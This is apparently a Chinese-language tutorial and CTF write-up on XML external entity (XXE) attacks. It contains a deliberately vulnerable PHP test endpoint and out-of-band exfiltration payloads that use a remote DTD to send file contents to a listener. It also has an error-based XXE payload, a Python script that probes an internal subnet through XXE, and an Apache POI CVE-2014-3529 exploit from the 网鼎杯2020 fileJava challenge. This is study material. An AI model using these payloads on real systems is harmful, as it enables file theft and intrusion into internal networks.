XXE

常用payload分析

好像大家都用这个测试代码

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<?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

使用XML发送数据:

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>

但是我在尝试参数实体的时候似乎不能外带数据

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>

嵌套也是不行的

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<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;
%send;
]>

最常用的外带数据的方法:

在自己的vps上准备两个文件,我这里就就都在本机做的实验

本地的8001端口开一个web服务,

local.xml 文件内容:

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<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;

这个文件表示读取到数据之后发送给另一个8887端口,然后我们向受害者服务器发送数据,

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<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
%remote;
%send;
]>
<message>1234</message>

然后就可以在8887端口接收到数据了

换一种 payload 也行

DTD文件

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<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

发送的 paylod

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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

报错XXE

这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错

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<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message>

XXE探测内网

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import requests
import base64
#Origtional XML that the server accepts

#<xml>

# <stuff>user</stuff>

#</xml>



def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)

for i in range(1, 255):
try:
i = str(i)
ip = '192.168.1.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
print "error"
continue

实例分析

网鼎杯2020 fileJava

用到的漏洞就是 CVE20143529

复现代码

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import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getLastRowNum());
}
}

pom.xml

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<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>pxyapache</groupId>
<artifactId>pxypxy</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>
</dependencies>

</project>

利用过程:

准备一个excel文件:

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<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

准备DTD文件

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<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

会读取文件,然后将其发送到8887端口上

监听得到的flag